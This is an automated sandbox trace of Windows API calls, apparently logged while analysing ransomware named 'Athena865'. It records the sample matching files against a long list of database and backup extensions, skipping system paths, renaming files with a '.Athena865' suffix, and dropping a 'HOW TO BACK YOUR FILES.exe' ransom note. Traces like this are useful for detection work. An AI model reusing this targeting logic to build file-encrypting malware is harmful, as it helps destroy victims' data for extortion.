lstrcmpiW (lpString1="ase", lpString2="myd") returned -1 [0034.656] lstrlenW (lpString="ndf") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="ndf") returned -1 [0034.656] lstrlenW (lpString="nnt") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="nnt") returned -1 [0034.656] lstrlenW (lpString="nrmlib") returned 6 [0034.656] lstrcmpiW (lpString1="tabase", lpString2="nrmlib") returned 1 [0034.656] lstrlenW (lpString="ns2") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="ns2") returned -1 [0034.656] lstrlenW (lpString="ns3") returned 3 [0034.656] lstrcmpiW (lpString1="ase", lpString2="ns3") returned -1 [0034.656] lstrlenW (lpString="ns4") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="ns4") returned -1 [0034.657] lstrlenW (lpString="nsf") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="nsf") returned -1 [0034.657] lstrlenW (lpString="nv") returned 2 [0034.657] lstrcmpiW (lpString1="se", lpString2="nv") returned 1 [0034.657] lstrlenW (lpString="nv2") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="nv2") returned -1 [0034.657] lstrlenW (lpString="nwdb") returned 4 [0034.657] lstrcmpiW (lpString1="base", lpString2="nwdb") returned -1 [0034.657] lstrlenW (lpString="nyf") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="nyf") returned -1 [0034.657] lstrlenW (lpString="odb") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="odb") returned -1 [0034.657] lstrlenW (lpString="odb") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="odb") returned -1 [0034.657] lstrlenW (lpString="oqy") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="oqy") returned -1 [0034.657] lstrlenW (lpString="ora") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="ora") returned -1 [0034.657] lstrlenW (lpString="orx") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="orx") returned -1 [0034.657] lstrlenW (lpString="owc") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="owc") returned -1 [0034.657] lstrlenW (lpString="p96") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="p96") returned -1 [0034.657] lstrlenW (lpString="p97") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="p97") returned -1 [0034.657] lstrlenW (lpString="pan") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="pan") returned -1 [0034.657] lstrlenW (lpString="pdb") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="pdb") returned -1 [0034.657] lstrlenW (lpString="pdm") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="pdm") returned -1 [0034.657] lstrlenW (lpString="pnz") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="pnz") returned -1 [0034.657] lstrlenW (lpString="qry") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="qry") returned -1 [0034.657] lstrlenW (lpString="qvd") returned 3 [0034.657] lstrcmpiW (lpString1="ase", lpString2="qvd") returned -1 [0034.657] lstrlenW (lpString="rbf") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="rbf") returned -1 [0034.658] lstrlenW (lpString="rctd") returned 4 [0034.658] lstrcmpiW (lpString1="base", lpString2="rctd") returned -1 [0034.658] lstrlenW (lpString="rod") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="rod") returned -1 [0034.658] lstrlenW (lpString="rodx") returned 4 [0034.658] lstrcmpiW (lpString1="base", lpString2="rodx") returned -1 [0034.658] lstrlenW (lpString="rpd") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="rpd") returned -1 [0034.658] lstrlenW (lpString="rsd") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="rsd") returned -1 [0034.658] lstrlenW (lpString="sas7bdat") returned 8 [0034.658] lstrcmpiW (lpString1="Database", lpString2="sas7bdat") returned -1 [0034.658] lstrlenW (lpString="sbf") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="sbf") returned -1 [0034.658] lstrlenW (lpString="scx") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="scx") returned -1 [0034.658] lstrlenW (lpString="sdb") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="sdb") returned -1 [0034.658] lstrlenW (lpString="sdc") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="sdc") returned -1 [0034.658] lstrlenW (lpString="sdf") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="sdf") returned -1 [0034.658] lstrlenW (lpString="sis") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="sis") returned -1 [0034.658] lstrlenW (lpString="spq") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="spq") returned -1 [0034.658] lstrlenW (lpString="te") returned 2 [0034.658] lstrcmpiW (lpString1="se", lpString2="te") returned -1 [0034.658] lstrlenW (lpString="teacher") returned 7 [0034.658] lstrcmpiW (lpString1="atabase", lpString2="teacher") returned -1 [0034.658] lstrlenW (lpString="tmd") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="tmd") returned -1 [0034.658] lstrlenW (lpString="tps") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="tps") returned -1 [0034.658] lstrlenW (lpString="trc") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="trc") returned -1 [0034.658] lstrlenW (lpString="trc") returned 3 [0034.658] lstrcmpiW (lpString1="ase", lpString2="trc") returned -1 [0034.659] lstrlenW (lpString="trm") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="trm") returned -1 [0034.659] lstrlenW (lpString="udb") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="udb") returned -1 [0034.659] lstrlenW (lpString="udl") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="udl") returned -1 [0034.659] lstrlenW (lpString="usr") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="usr") returned -1 [0034.659] lstrlenW (lpString="v12") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="v12") returned -1 [0034.659] lstrlenW (lpString="vis") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="vis") returned -1 [0034.659] lstrlenW (lpString="vpd") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="vpd") returned -1 [0034.659] lstrlenW (lpString="vvv") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="vvv") returned -1 [0034.659] lstrlenW (lpString="wdb") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="wdb") returned -1 [0034.659] lstrlenW (lpString="wmdb") returned 4 [0034.659] lstrcmpiW (lpString1="base", lpString2="wmdb") returned -1 [0034.659] lstrlenW (lpString="wrk") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="wrk") returned -1 [0034.659] lstrlenW (lpString="xdb") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="xdb") returned -1 [0034.659] lstrlenW (lpString="xld") returned 3 [0034.659] lstrcmpiW (lpString1="ase", lpString2="xld") returned -1 [0034.659] lstrlenW (lpString="xmlff") returned 5 [0034.659] lstrcmpiW (lpString1="abase", lpString2="xmlff") returned -1 [0034.659] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\MountPointManagerRemoteDatabase.Athena865") returned 70 [0034.659] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\MountPointManagerRemoteDatabase" (normalized: "c:\\system volume information\\mountpointmanagerremotedatabase"), lpNewFileName="C:\\System Volume Information\\MountPointManagerRemoteDatabase.Athena865" (normalized: "c:\\system volume information\\mountpointmanagerremotedatabase.athena865"), dwFlags=0x1) returned 1 [0034.660] CreateFileW (lpFileName="C:\\System Volume Information\\MountPointManagerRemoteDatabase.Athena865" (normalized: "c:\\system volume information\\mountpointmanagerremotedatabase.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x140 [0034.661] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0034.661] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\MountPointManagerRemoteDatabase.Athena865" (normalized: "c:\\system volume information\\mountpointmanagerremotedatabase.athena865"), lpNewFileName="C:\\System Volume Information\\MountPointManagerRemoteDatabase" (normalized: "c:\\system volume information\\mountpointmanagerremotedatabase"), dwFlags=0x1) returned 0 [0034.661] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0034.661] CloseHandle (hObject=0x0) returned 0 [0034.662] CloseHandle (hObject=0x140) returned 1 [0034.662] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764bb2c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa31628c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa31628c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPP", cAlternateFileName="")) returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2=".") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="..") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="windows") returned -1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="bootmgr") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="temp") returned -1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="pagefile.sys") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="boot") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="ids.txt") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="ntuser.dat") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="perflogs") returned 1 [0034.662] lstrcmpiW (lpString1="SPP", lpString2="MSBuild") returned 1 [0034.662] lstrlenW (lpString="SPP") returned 3 [0034.662] lstrcpyW (in: lpString1=0x241e882, lpString2="SPP" | out: lpString1="SPP") returned="SPP" [0034.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c230 [0034.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x5174d8 [0034.662] lstrcatW (in: lpString1="SPP", lpString2="\\" | out: lpString1="SPP\\") returned="SPP\\" [0034.662] lstrcatW (in: lpString1="SPP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SPP\\HOW TO BACK YOUR FILES.exe") returned="SPP\\HOW TO BACK YOUR FILES.exe" [0034.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.667] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6322dea0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x175e3d80, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x175e3d80, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Syscache.hve", cAlternateFileName="")) returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2=".") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="..") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="windows") returned -1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="bootmgr") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="temp") returned -1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="pagefile.sys") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="boot") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="ids.txt") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="ntuser.dat") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="perflogs") returned 1 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2="MSBuild") returned 1 [0034.667] lstrlenW (lpString="Syscache.hve") returned 12 [0034.667] lstrcpyW (in: lpString1=0x241e882, lpString2="Syscache.hve" | out: lpString1="Syscache.hve") returned="Syscache.hve" [0034.667] lstrlenW (lpString="Syscache.hve") returned 12 [0034.667] lstrlenW (lpString="Athena865") returned 9 [0034.667] lstrcmpiW (lpString1="cache.hve", lpString2="Athena865") returned 1 [0034.667] lstrlenW (lpString=".dll") returned 4 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2=".dll") returned 1 [0034.667] lstrlenW (lpString=".lnk") returned 4 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2=".lnk") returned 1 [0034.667] lstrlenW (lpString=".ini") returned 4 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2=".ini") returned 1 [0034.667] lstrlenW (lpString=".sys") returned 4 [0034.667] lstrcmpiW (lpString1="Syscache.hve", lpString2=".sys") returned 1 [0034.667] lstrlenW (lpString="Syscache.hve") returned 12 [0034.667] lstrlenW (lpString="bak") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="bak") returned 1 [0034.668] lstrlenW (lpString="ba_") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="ba_") returned 1 [0034.668] lstrlenW (lpString="dbb") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="dbb") returned 1 [0034.668] lstrlenW (lpString="vmdk") returned 4 [0034.668] lstrcmpiW (lpString1=".hve", lpString2="vmdk") returned -1 [0034.668] lstrlenW (lpString="rar") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="rar") returned -1 [0034.668] lstrlenW (lpString="zip") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="zip") returned -1 [0034.668] lstrlenW (lpString="tgz") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="tgz") returned -1 [0034.668] lstrlenW (lpString="vbox") returned 4 [0034.668] lstrcmpiW (lpString1=".hve", lpString2="vbox") returned -1 [0034.668] lstrlenW (lpString="vdi") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="vdi") returned -1 [0034.668] lstrlenW (lpString="vhd") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="vhd") returned -1 [0034.668] lstrlenW (lpString="vhdx") returned 4 [0034.668] lstrcmpiW (lpString1=".hve", lpString2="vhdx") returned -1 [0034.668] lstrlenW (lpString="avhd") returned 4 [0034.668] lstrcmpiW (lpString1=".hve", lpString2="avhd") returned -1 [0034.668] lstrlenW (lpString="db") returned 2 [0034.668] lstrcmpiW (lpString1="ve", lpString2="db") returned 1 [0034.668] lstrlenW (lpString="db2") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="db2") returned 1 [0034.668] lstrlenW (lpString="db3") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="db3") returned 1 [0034.668] lstrlenW (lpString="dbf") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="dbf") returned 1 [0034.668] lstrlenW (lpString="mdf") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="mdf") returned -1 [0034.668] lstrlenW (lpString="mdb") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="mdb") returned -1 [0034.668] lstrlenW (lpString="sql") returned 3 [0034.668] lstrcmpiW (lpString1="hve", lpString2="sql") returned -1 [0034.668] lstrlenW (lpString="sqlite") returned 6 [0034.668] lstrcmpiW (lpString1="he.hve", lpString2="sqlite") returned -1 [0034.669] lstrlenW (lpString="sqlite3") returned 7 [0034.669] lstrcmpiW (lpString1="che.hve", lpString2="sqlite3") returned -1 [0034.669] lstrlenW (lpString="sqlitedb") returned 8 [0034.669] lstrcmpiW (lpString1="ache.hve", lpString2="sqlitedb") returned -1 [0034.669] lstrlenW (lpString="xml") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="xml") returned -1 [0034.669] lstrlenW (lpString="$er") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="$er") returned 1 [0034.669] lstrlenW (lpString="4dd") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="4dd") returned 1 [0034.669] lstrlenW (lpString="4dl") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="4dl") returned 1 [0034.669] lstrlenW (lpString="^^^") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="^^^") returned 1 [0034.669] lstrlenW (lpString="abs") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="abs") returned 1 [0034.669] lstrlenW (lpString="abx") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="abx") returned 1 [0034.669] lstrlenW (lpString="accdb") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accdb") returned 1 [0034.669] lstrlenW (lpString="accdc") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accdc") returned 1 [0034.669] lstrlenW (lpString="accde") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accde") returned 1 [0034.669] lstrlenW (lpString="accdr") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accdr") returned 1 [0034.669] lstrlenW (lpString="accdt") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accdt") returned 1 [0034.669] lstrlenW (lpString="accdw") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accdw") returned 1 [0034.669] lstrlenW (lpString="accft") returned 5 [0034.669] lstrcmpiW (lpString1="e.hve", lpString2="accft") returned 1 [0034.669] lstrlenW (lpString="adb") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="adb") returned 1 [0034.669] lstrlenW (lpString="adb") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="adb") returned 1 [0034.669] lstrlenW (lpString="ade") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="ade") returned 1 [0034.669] lstrlenW (lpString="adf") returned 3 [0034.669] lstrcmpiW (lpString1="hve", lpString2="adf") returned 1 [0034.670] lstrlenW (lpString="adn") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="adn") returned 1 [0034.670] lstrlenW (lpString="adp") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="adp") returned 1 [0034.670] lstrlenW (lpString="alf") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="alf") returned 1 [0034.670] lstrlenW (lpString="ask") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="ask") returned 1 [0034.670] lstrlenW (lpString="btr") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="btr") returned 1 [0034.670] lstrlenW (lpString="cat") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="cat") returned 1 [0034.670] lstrlenW (lpString="cdb") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="cdb") returned 1 [0034.670] lstrlenW (lpString="ckp") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="ckp") returned 1 [0034.670] lstrlenW (lpString="cma") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="cma") returned 1 [0034.670] lstrlenW (lpString="cpd") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="cpd") returned 1 [0034.670] lstrlenW (lpString="dacpac") returned 6 [0034.670] lstrcmpiW (lpString1="he.hve", lpString2="dacpac") returned 1 [0034.670] lstrlenW (lpString="dad") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="dad") returned 1 [0034.670] lstrlenW (lpString="dadiagrams") returned 10 [0034.670] lstrcmpiW (lpString1="scache.hve", lpString2="dadiagrams") returned 1 [0034.670] lstrlenW (lpString="daschema") returned 8 [0034.670] lstrcmpiW (lpString1="ache.hve", lpString2="daschema") returned -1 [0034.670] lstrlenW (lpString="db-journal") returned 10 [0034.670] lstrcmpiW (lpString1="scache.hve", lpString2="db-journal") returned 1 [0034.670] lstrlenW (lpString="db-shm") returned 6 [0034.670] lstrcmpiW (lpString1="he.hve", lpString2="db-shm") returned 1 [0034.670] lstrlenW (lpString="db-wal") returned 6 [0034.670] lstrcmpiW (lpString1="he.hve", lpString2="db-wal") returned 1 [0034.670] lstrlenW (lpString="dbc") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="dbc") returned 1 [0034.670] lstrlenW (lpString="dbs") returned 3 [0034.670] lstrcmpiW (lpString1="hve", lpString2="dbs") returned 1 [0034.671] lstrlenW (lpString="dbt") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dbt") returned 1 [0034.671] lstrlenW (lpString="dbv") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dbv") returned 1 [0034.671] lstrlenW (lpString="dbx") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dbx") returned 1 [0034.671] lstrlenW (lpString="dcb") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dcb") returned 1 [0034.671] lstrlenW (lpString="dct") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dct") returned 1 [0034.671] lstrlenW (lpString="dcx") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dcx") returned 1 [0034.671] lstrlenW (lpString="ddl") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="ddl") returned 1 [0034.671] lstrlenW (lpString="dlis") returned 4 [0034.671] lstrcmpiW (lpString1=".hve", lpString2="dlis") returned -1 [0034.671] lstrlenW (lpString="dp1") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dp1") returned 1 [0034.671] lstrlenW (lpString="dqy") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dqy") returned 1 [0034.671] lstrlenW (lpString="dsk") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dsk") returned 1 [0034.671] lstrlenW (lpString="dsn") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dsn") returned 1 [0034.671] lstrlenW (lpString="dtsx") returned 4 [0034.671] lstrcmpiW (lpString1=".hve", lpString2="dtsx") returned -1 [0034.671] lstrlenW (lpString="dxl") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="dxl") returned 1 [0034.671] lstrlenW (lpString="eco") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="eco") returned 1 [0034.671] lstrlenW (lpString="ecx") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="ecx") returned 1 [0034.671] lstrlenW (lpString="edb") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="edb") returned 1 [0034.671] lstrlenW (lpString="epim") returned 4 [0034.671] lstrcmpiW (lpString1=".hve", lpString2="epim") returned -1 [0034.671] lstrlenW (lpString="fcd") returned 3 [0034.671] lstrcmpiW (lpString1="hve", lpString2="fcd") returned 1 [0034.672] lstrlenW (lpString="fdb") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fdb") returned 1 [0034.672] lstrlenW (lpString="fic") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fic") returned 1 [0034.672] lstrlenW (lpString="flexolibrary") returned 12 [0034.672] lstrlenW (lpString="fm5") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fm5") returned 1 [0034.672] lstrlenW (lpString="fmp") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fmp") returned 1 [0034.672] lstrlenW (lpString="fmp12") returned 5 [0034.672] lstrcmpiW (lpString1="e.hve", lpString2="fmp12") returned -1 [0034.672] lstrlenW (lpString="fmpsl") returned 5 [0034.672] lstrcmpiW (lpString1="e.hve", lpString2="fmpsl") returned -1 [0034.672] lstrlenW (lpString="fol") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fol") returned 1 [0034.672] lstrlenW (lpString="fp3") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fp3") returned 1 [0034.672] lstrlenW (lpString="fp4") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fp4") returned 1 [0034.672] lstrlenW (lpString="fp5") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fp5") returned 1 [0034.672] lstrlenW (lpString="fp7") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fp7") returned 1 [0034.672] lstrlenW (lpString="fpt") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="fpt") returned 1 [0034.672] lstrlenW (lpString="frm") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="frm") returned 1 [0034.672] lstrlenW (lpString="gdb") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="gdb") returned 1 [0034.672] lstrlenW (lpString="gdb") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="gdb") returned 1 [0034.672] lstrlenW (lpString="grdb") returned 4 [0034.672] lstrcmpiW (lpString1=".hve", lpString2="grdb") returned -1 [0034.672] lstrlenW (lpString="gwi") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="gwi") returned 1 [0034.672] lstrlenW (lpString="hdb") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="hdb") returned 1 [0034.672] lstrlenW (lpString="his") returned 3 [0034.672] lstrcmpiW (lpString1="hve", lpString2="his") returned 1 [0034.673] lstrlenW (lpString="ib") returned 2 [0034.673] lstrcmpiW (lpString1="ve", lpString2="ib") returned 1 [0034.673] lstrlenW (lpString="idb") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="idb") returned -1 [0034.673] lstrlenW (lpString="ihx") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="ihx") returned -1 [0034.673] lstrlenW (lpString="itdb") returned 4 [0034.673] lstrcmpiW (lpString1=".hve", lpString2="itdb") returned -1 [0034.673] lstrlenW (lpString="itw") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="itw") returned -1 [0034.673] lstrlenW (lpString="jet") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="jet") returned -1 [0034.673] lstrlenW (lpString="jtx") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="jtx") returned -1 [0034.673] lstrlenW (lpString="kdb") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="kdb") returned -1 [0034.673] lstrlenW (lpString="kexi") returned 4 [0034.673] lstrcmpiW (lpString1=".hve", lpString2="kexi") returned -1 [0034.673] lstrlenW (lpString="kexic") returned 5 [0034.673] lstrcmpiW (lpString1="e.hve", lpString2="kexic") returned -1 [0034.673] lstrlenW (lpString="kexis") returned 5 [0034.673] lstrcmpiW (lpString1="e.hve", lpString2="kexis") returned -1 [0034.673] lstrlenW (lpString="lgc") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="lgc") returned -1 [0034.673] lstrlenW (lpString="lwx") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="lwx") returned -1 [0034.673] lstrlenW (lpString="maf") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="maf") returned -1 [0034.673] lstrlenW (lpString="maq") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="maq") returned -1 [0034.673] lstrlenW (lpString="mar") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="mar") returned -1 [0034.673] lstrlenW (lpString="marshal") returned 7 [0034.673] lstrcmpiW (lpString1="che.hve", lpString2="marshal") returned -1 [0034.673] lstrlenW (lpString="mas") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="mas") returned -1 [0034.673] lstrlenW (lpString="mav") returned 3 [0034.673] lstrcmpiW (lpString1="hve", lpString2="mav") returned -1 [0034.673] lstrlenW (lpString="maw") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="maw") returned -1 [0034.674] lstrlenW (lpString="mdbhtml") returned 7 [0034.674] lstrcmpiW (lpString1="che.hve", lpString2="mdbhtml") returned -1 [0034.674] lstrlenW (lpString="mdn") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mdn") returned -1 [0034.674] lstrlenW (lpString="mdt") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mdt") returned -1 [0034.674] lstrlenW (lpString="mfd") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mfd") returned -1 [0034.674] lstrlenW (lpString="mpd") returned 3 [0034.674] lstrcmpiW (lpString1="hve", lpString2="mpd") returned -1 [0034.674] lstrlenW (lpString="mrg") returned 3 